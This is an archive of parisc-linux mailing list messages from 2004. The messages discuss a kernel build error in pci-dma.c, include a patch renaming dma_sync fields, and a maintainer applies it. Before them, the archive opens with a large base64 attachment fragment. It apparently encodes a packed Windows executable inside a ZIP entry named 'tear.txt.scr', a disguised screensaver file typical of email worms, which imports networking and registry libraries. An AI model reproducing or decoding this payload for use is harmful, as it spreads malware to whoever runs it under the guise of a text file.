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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA
kAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACAAAAAAAAAAAAAAAAAAAABAAcE
AABYAAAA1MABAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAHBAAAgAAAAMDDAQAoAQAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAZQAAAKgAAIAAAAAAAAAAAAAAAAAAAAEABwQAAMAA
AADsxAEAIgAAAAAAAAAAAAAA0JABACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAA
AAAAAAAAAADM//8AaFdYAAAAAACAgIAA////AMDAwAD/AAAAAP//AL8AAAAAAP8AAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAIiESIiIiIiIiIiIiIiIiIiIhNVVVVVVVVVVVVVUlIiIiI0RE
REREREREREREUlIiIiNERERERERVVERFVVJSIiIjRIiIiERJmUREmZRSUiIiI0RERERERJVE
RElUUlIiIiNEiIiIiERJVVVZVFJSIiIjRERERERERJmZmVRSUiIiI0SIiIiIiERJVElUUlIi
IiNERERERERERJVJVFJSIiIjRIiIiIiIiERJWVRSUiIiI0RERERERERERJlUUlIiIiNEiIiI
iIiIiERJRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhEUlIiIiNERERERERERERE
RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEIiIiIkSIiIiIRFJSIiIj
RDmSREJERERERERSUiIiI0QyIiIiRIiIiIhEUlIiIiNENEJ3ckRERERERFJSIiIjRDIid3JE
iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDRCZmJERERERERS
UiIiI0QzMiIiREREREREUlIiIiNERERERERERERERFJSIiIjQkQkQkQkQkQkQkQyUiIiI0JE
JEJEJEJEJEJEMlIiIiIkM0M0M0M0M0M0M0MiIiIiIiIiIiIiIiIiIiIiIiLgAAAP4AAAB+AA
AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAf4AAAP/////7iTAQAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A
/wD//wAA////AAAAAAAAAAAAAHd3d3d3cAAA//+f/59wAAD//3mZn3AAAPRE95+fcAAA////
eZ9wAAD0RET3n3AAAP//////cAAA9ERERE9wAAD//////3AAAPRERERPcAAA//////9wAAD/
/////3AAAPDw8PDw8AAAD4+Pj4+AAAAAAAAAAAAAwAcAAMADAADAAwAAwAMAAMADAADAAwAA
wAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA6q8AAOCUAQAAAAEAAgAgIBAA
AQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADUxQEAnMUBAAAAAAAAAAAA
AAAAAOHFAQCsxQEAAAAAAAAAAAAAAAAA7sUBALTFAQAAAAAAAAAAAAAAAAD7xQEAvMUBAAAA
AAAAAAAAAAAAAAbGAQDExQEAAAAAAAAAAAAAAAAAEsYBAMzFAQAAAAAAAAAAAAAAAAAAAAAA
AAAAABzGAQAqxgEAOsYBAAAAAABIxgEAAAAAAFbGAQAAAAAAaMYBAAAAAAB0xgEAAAAAAAsA
AIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQSTMyLmRsbABpcGhscGFwaS5kbGwAVVNFUjMyLmRs
bABXSU5JTkVULmRsbABXUzJfMzIuZGxsAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz
AABFeGl0UHJvY2VzcwAAAFJlZ09wZW5LZXlBAAAAR2V0TmV0d29ya1BhcmFtcwAAd3Nwcmlu
dGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBLAQIUAAoAAAAAAIZEcTCudsW6AF4AAABeAAAMAAAA
AAAAAAAAIAAAAAAAAAB0ZWFyLnR4dC5zY3JQSwUGAAAAAAEAAQA6AAAAKl4AAAAA


------=_NextPart_000_0009_000029BA.000041E7--




From - Thu Nov 08 21:31:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI broken in latest CVS changes
Date: Wed, 17 Mar 2004 12:39:38 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <40561E95000014B1@ocpmta3.freegates.net>
References: <Pine.LNX.4.58.0403170046060.29766@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="========/40561E95000014B1/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623279 6946 80.91.229.3 (22 Nov 2014 02:27:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:59 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>, "Randolph Chung" <tausq@debian.org>
Original-X-From: soete.joel@tiscali.be  Wed Mar 17 04:39:48 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A45764852
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Mar 2004 04:39:47 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B3ZOd-0001Yk-00; Wed, 17 Mar 2004 12:39:39 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 17 Mar 2004 12:39:38 +0100
In-Reply-To: <Pine.LNX.4.58.0403170046060.29766@sal.ucc.ie>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Mar 2004 11:39:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21114


--========/40561E95000014B1/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hello,

> Yes, 2.6.5-rc1-pa1 works fine for me!

Not so lucky to even build it with b180 config :(.

It failled with message:
[snip]
  gcc -Wp,-MD,arch/parisc/kernel/.pci-dma.o.d -nostdinc -iwithprefix include
-D__KERNEL__ -Iinclude  -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes
-Wno-trigraphs -fno-strict-aliasing -fno-common -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=1.1 -mschedule=7200 -O2     -DKBUILD_BASENAME=pci_dma
-DKBUILD_MODNAME=pci_dma -c -o arch/parisc/kernel/pci-dma.o arch/parisc/kernel/pci-dma.c
arch/parisc/kernel/pci-dma.c:542: error: unknown field `dma_sync_single_cpu'
specified in initializer
arch/parisc/kernel/pci-dma.c:542: error: `pa11_dma_sync_single_cpu' undeclared
here (not in a function)
arch/parisc/kernel/pci-dma.c:542: error: initializer element is not constant
arch/parisc/kernel/pci-dma.c:542: error: (near initialization for `pcx_dma_ops.dma_sync_single_for_cpu')
arch/parisc/kernel/pci-dma.c:543: error: unknown field `dma_sync_single_device'
specified in initializer
arch/parisc/kernel/pci-dma.c:543: error: `pa11_dma_sync_single_device' undeclared
here (not in a function)
arch/parisc/kernel/pci-dma.c:543: error: initializer element is not constant
arch/parisc/kernel/pci-dma.c:543: error: (near initialization for `pcx_dma_ops.dma_sync_single_for_device')
arch/parisc/kernel/pci-dma.c:544: error: unknown field `dma_sync_sg_cpu'
specified in initializer
arch/parisc/kernel/pci-dma.c:544: error: `pa11_dma_sync_sg_cpu' undeclared
here (not in a function)
arch/parisc/kernel/pci-dma.c:544: error: initializer element is not constant
arch/parisc/kernel/pci-dma.c:544: error: (near initialization for `pcx_dma_ops.dma_sync_sg_for_cpu')
arch/parisc/kernel/pci-dma.c:545: error: unknown field `dma_sync_sg_device'
specified in initializer
arch/parisc/kernel/pci-dma.c:545: error: `pa11_dma_sync_sg_device' undeclared
here (not in a function)
arch/parisc/kernel/pci-dma.c:545: error: initializer element is not constant
arch/parisc/kernel/pci-dma.c:545: error: (near initialization for `pcx_dma_ops.dma_sync_sg_for_device')
make[1]: *** [arch/parisc/kernel/pci-dma.o] Error 1
make: *** [arch/parisc/kernel] Error 2


for which the following trivial patch help to build (at least):
--- linux-2.6.5-rc1-pa1/arch/parisc/kernel/pci-dma.c.orig	2004-03-17 13:06:21.123088000
+0100
+++ linux-2.6.5-rc1-pa1/arch/parisc/kernel/pci-dma.c	2004-03-17 13:14:17.063088000
+0100
@@ -539,10 +539,10 @@
 	.unmap_single =		pa11_dma_unmap_single,
 	.map_sg =		pa11_dma_map_sg,
 	.unmap_sg =		pa11_dma_unmap_sg,
-	.dma_sync_single_cpu =	pa11_dma_sync_single_cpu,
-	.dma_sync_single_device = pa11_dma_sync_single_device,
-	.dma_sync_sg_cpu =	pa11_dma_sync_sg_cpu,
-	.dma_sync_sg_device =	pa11_dma_sync_sg_device,
+	.dma_sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
+	.dma_sync_single_for_device =	pa11_dma_sync_single_for_device,
+	.dma_sync_sg_for_cpu =		pa11_dma_sync_sg_for_cpu,
+	.dma_sync_sg_for_device =	pa11_dma_sync_sg_for_device,
 };
==========><==========

hth,
    joel

PS: I also attched the patch as know pb with webmail interface 

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr




--========/40561E95000014B1/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pci-dma.c-diff"

LS0tIGxpbnV4LTIuNi41LXJjMS1wYTEvYXJjaC9wYXJpc2Mva2VybmVsL3BjaS1kbWEuYy5vcmln
CTIwMDQtMDMtMTcgMTM6MDY6MjEuMTIzMDg4MDAwICswMTAwCisrKyBsaW51eC0yLjYuNS1yYzEt
cGExL2FyY2gvcGFyaXNjL2tlcm5lbC9wY2ktZG1hLmMJMjAwNC0wMy0xNyAxMzoxNDoxNy4wNjMw
ODgwMDAgKzAxMDAKQEAgLTUzOSwxMCArNTM5LDEwIEBACiAJLnVubWFwX3NpbmdsZSA9CQlwYTEx
X2RtYV91bm1hcF9zaW5nbGUsCiAJLm1hcF9zZyA9CQlwYTExX2RtYV9tYXBfc2csCiAJLnVubWFw
X3NnID0JCXBhMTFfZG1hX3VubWFwX3NnLAotCS5kbWFfc3luY19zaW5nbGVfY3B1ID0JcGExMV9k
bWFfc3luY19zaW5nbGVfY3B1LAotCS5kbWFfc3luY19zaW5nbGVfZGV2aWNlID0gcGExMV9kbWFf
c3luY19zaW5nbGVfZGV2aWNlLAotCS5kbWFfc3luY19zZ19jcHUgPQlwYTExX2RtYV9zeW5jX3Nn
X2NwdSwKLQkuZG1hX3N5bmNfc2dfZGV2aWNlID0JcGExMV9kbWFfc3luY19zZ19kZXZpY2UsCisJ
LmRtYV9zeW5jX3NpbmdsZV9mb3JfY3B1ID0JcGExMV9kbWFfc3luY19zaW5nbGVfZm9yX2NwdSwK
KwkuZG1hX3N5bmNfc2luZ2xlX2Zvcl9kZXZpY2UgPQlwYTExX2RtYV9zeW5jX3NpbmdsZV9mb3Jf
ZGV2aWNlLAorCS5kbWFfc3luY19zZ19mb3JfY3B1ID0JCXBhMTFfZG1hX3N5bmNfc2dfZm9yX2Nw
dSwKKwkuZG1hX3N5bmNfc2dfZm9yX2RldmljZSA9CXBhMTFfZG1hX3N5bmNfc2dfZm9yX2Rldmlj
ZSwKIH07CiAKIAo=

--========/40561E95000014B1/mail.tiscali.be--


From - Thu Nov 08 21:31:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI broken in latest CVS changes
Date: Wed, 17 Mar 2004 12:15:38 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20040317121538.GE25059@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0403170046060.29766@sal.ucc.ie>
	<40561E95000014B1@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623279 6949 80.91.229.3 (22 Nov 2014 02:27:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:59 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org,
	Randolph Chung <tausq@debian.org>, "M. Grabert" <xam@cs.ucc.ie>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: willy@www.linux.org.uk  Wed Mar 17 05:15:39 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BB9A4852
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Mar 2004 05:15:39 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B3ZxS-00085y-9g; Wed, 17 Mar 2004 12:15:38 +0000
Content-Disposition: inline
In-Reply-To: <40561E95000014B1@ocpmta3.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Mar 2004 12:15:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21115

On Wed, Mar 17, 2004 at 12:39:38PM +0100, Joel Soete wrote:
> for which the following trivial patch help to build (at least):

Applied, thanks

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI broken in latest CVS changes
Date: Wed, 17 Mar 2004 14:04:21 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <40561E950000160F@ocpmta3.freegates.net>
References: <20040317121538.GE25059@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623279 6954 80.91.229.3 (22 Nov 2014 02:27:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:59 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org,
	Randolph Chung <tausq@debian.org>, "M. Grabert" <xam@cs.ucc.ie>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Wed Mar 17 06:04:30 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C9634852
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Mar 2004 06:04:30 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B3aid-0000BY-00; Wed, 17 Mar 2004 14:04:23 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 17 Mar 2004 14:04:21 +0100
In-Reply-To: <20040317121538.GE25059@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Mar 2004 13:04:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21116

Matthew,
>> 
